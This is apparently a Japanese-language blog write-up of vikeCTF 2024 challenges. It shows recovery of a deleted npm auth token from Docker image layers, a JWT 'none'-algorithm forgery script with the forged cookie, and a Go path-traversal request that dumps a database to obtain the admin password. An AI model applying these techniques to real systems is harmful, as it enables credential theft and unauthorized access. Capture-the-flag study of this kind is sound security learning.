はまやんはまやんはまやん

hamayanhamayan's blog

vikeCTF 2024 Writeup

https://ctftime.org/event/2263

[Cloud] Silly Software

We're Silly Software, and we like bringing the Fun back into devops! We've decided that we're going to start distributing our software as Docker images, because that seems like the most fun! I hope nothing goes wrong :)
私たちはSilly Softwareで、Devopsに楽しさを取り戻すのが好きです!Dockerイメージとしてソフトウェアを配布することに決めました!何事もなければいいのですが :)

docker run public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latestというのが与えられる。
diveで中身を見てみよう。
dive public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latest
見ると、最後に/app/.npmrvというファイルが消されている。
調べてみると、npmで利用する際にprivateパッケージを読み込むための認証情報が入っているファイルらしい。
いかにも怪しい。

docker save public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latest > dumped.tarでレイヤー毎のファイルを取り出してきて、
/app/.npmrcを作成しているレイヤー ID:4e6ad6b88e64db86f38a2a95d51808b4347147cd59cdfba1abc1d6c7707fbed1のフォルダのlayer.tarを解凍すると該当ファイルが見つかる。

//npm.fury.io/vikectf2024/:_authToken=■■■■■■■■■■■■■■■■■■■■

いいですね。package.jsonがあるので中身を見てみるとthe-flagというパッケージを読み込んでいた。

"devDependencies": {
    "the-flag": "^1.0.1"
}

npm ciをして読み込み、node_modules/the-flag/index.jsを見るとフラグが書いてあった。

[Cloud] My Buddy Erik 解けなかった

My buddy Erik wants to play Minecraft so I set up a server for us to play on. I've commited my configuration to GitHub because it's so convenient! Can you make sure that everything is secure?
友達のErikがMinecraftで遊びたいって言うから、サーバーを立ち上げたんだ。とても便利なので、GitHubに設定をコミットしました!すべてが安全であることを確認できますか?
https://github.com/VikeSec/vikeCTF-2024-minecraft-server

深堀する前に終わってしまった。

https://ctf.krauq.com/vikectf-2024#my-buddy-erik-35-solves
了解。

[Web] Jarls Weakened Trust

Jarl's been bragging about becoming an admin on the new axe sharing network. Can you?
ジャールが新しい斧共有ネットワークの管理者になることを自慢している。できるのか?

ソースコード無し。色々試す。

AUTHORIZATION=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxOGpjYjRtN3VpeiIsImFkbWluIjpmYWxzZSwiaWF0IjoxNzEwMDQ0Nzk3fQ.46cPstBtoSkDhc7nFZG_UqZVqBjUhbWZ4qjjjXZpfas
-> {"userId": "18jcb4m7uiz","admin": false,"iat": 1710044797}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJmaWZwMW5iZjZkbSIsImFkbWluIjpmYWxzZSwiaWF0IjoxNzEwMDU2NjM4fQ.f-2ZIpnWAqPbirAs7OaPOjBJUx19eFtzjis2I88SHTI
-> {"userId": "fifp1nbf6dm","admin": false,"iat": 1710056638}

userIdは同じ入力でも変化するのでランダムっぽい。タイトルからjwtにまつわる問題であることは分かるが…
guessy...
色々試すと、none攻撃で成功。

import jwt
payload = {"userId": "18jcb4m7uiz","admin": True,"iat": 1710066638}
res = jwt.encode(payload, '', algorithm='none')
print(res)

のような感じにして、以下のように送るとフラグ獲得。

GET / HTTP/1.1
Host: 35.94.129.106:3004
Cookie: AUTHORIZATION=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOiIxOGpjYjRtN3VpeiIsImFkbWluIjp0cnVlLCJpYXQiOjE3MTAwNjY2Mzh9.

[Web] Ponies

OH NO, where did all these ponies come from??? Quick, get the flag and sail away before we are overrun!

The flag is arriving shotly...と出てくるサイトが与えられ、
ちょっと待っていると大量のキャラとコメントが出る激重サイト。
Burpのログを漁ると数千件ログが残っているが、しれっとフラグが含まれている。
GET /gag.jsdocument.getElementById("flag").innerHTML = "vikeCTF{■■■■■■■■■■}";のようにフラグが書いてある。

[Web] vikeMERCH

Welcome to vikeMERCH, your one stop shop for Viking-themed merchandise! We're still working on our website, but don't let that stop you from browsing our high-quality items. We just know you'll love the Viking sweater vest.

go言語で書かれたソースコードが与えられる。
フラグからさかのぼって見てみよう。

e.POST("/admin", func(c *gin.Context) {
    username := c.PostForm("username")
    password := c.PostForm("password")
    var user User
    err := db.Get(&user, "SELECT * FROM user WHERE username = ?", username)
    if err != nil {
        c.HTML(http.StatusUnauthorized, "admin.html", "Username or password is incorrect")
        return
    }
    if subtle.ConstantTimeCompare([]byte(password), []byte(user.Password)) == 0 {
        c.HTML(http.StatusUnauthorized, "admin.html", "Username or password is incorrect")
        return
    }
    c.Writer.Header().Add("Set-Cookie", "FLAG="+flag)
    c.Writer.Header().Add("Content-Type", "text/plain")
    c.Writer.WriteString(flag)
})

誰でもいいのでuserの認証が通ればフラグがもらえる。
DB操作を見るとadminユーザーしか用意されていない。

CREATE TABLE user (
    username TEXT,
    password TEXT
);

INSERT INTO user (username, password) VALUES (
    'admin',
    '$(xxd -l 32 -c 32 -p /dev/random)'
);

とりあえずDB上の情報を抜いてくる必要がありそう。
SQL Injectionを探すがない。だが、以下にPath Traversal出来そうな雰囲気の部分がある。

e.GET("/assets", func(c *gin.Context) {
    id := c.Query("id")
    path := filepath.Join("assets", filepath.Clean(id))
    c.File(path)
})

パッと見対策されていそうだが検索すると、以下のようにfilepath.Claenはサニタイザーとして使うことはできないとのこと。
https://github.com/golang/go/issues/34938

ということで、以下のように試すとうまくいく

GET /assets?id=../db.sqlite3 HTTP/1.1
Host: localhost:4444

ok. これでDBの中身が抜けてadminのパスワードが見れるようになるので、フラグ獲得までできる。
以下でフラグ獲得。

POST /admin HTTP/1.1
Host: 35.94.129.106:3001
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

username=admin&password=a36dc27c2955d4d4ec31f351c49fc7ac63b7e98908077bd1a7f0cfce1875c03d

[Web] movieDB 解けなかった

Ahoy, ye brave movie seekers! Welcome to MovieDB, where the flicks flow like mead and the security... well, let's just say it's a bit like an unlocked treasure chest in a Viking village. But fret not! With a sprinkle of humor and a dash of caution, we'll navigate these cinematic seas together, laughing in the face of cyber shenanigans. So grab your popcorn and let's pillage... I mean, peruse through our database of movie marvels!
勇敢なる映画ファンの諸君!MovieDBへようこそ!ここでは、ミードのように映画が流れ、セキュリティは......まあ、バイキングの村の鍵のかかっていない宝箱のようなものだと言っておこう。だが心配はいらない!ユーモアを振りまきながら、そして用心深く、私たちは一緒にこの映画の海を航海し、サイバーの悪ふざけを笑い飛ばそう。さあ、ポップコーンを持って略奪に出発だ...。つまり、映画の驚異のデータベースを熟読しよう!

映画の検索ができるサイトが与えられる。
ソースコード無し、色々試すが何も起きない。
/robots.txtをみると/static/flag.txtとあったが、アクセスするとnoと帰ってくる。うーん。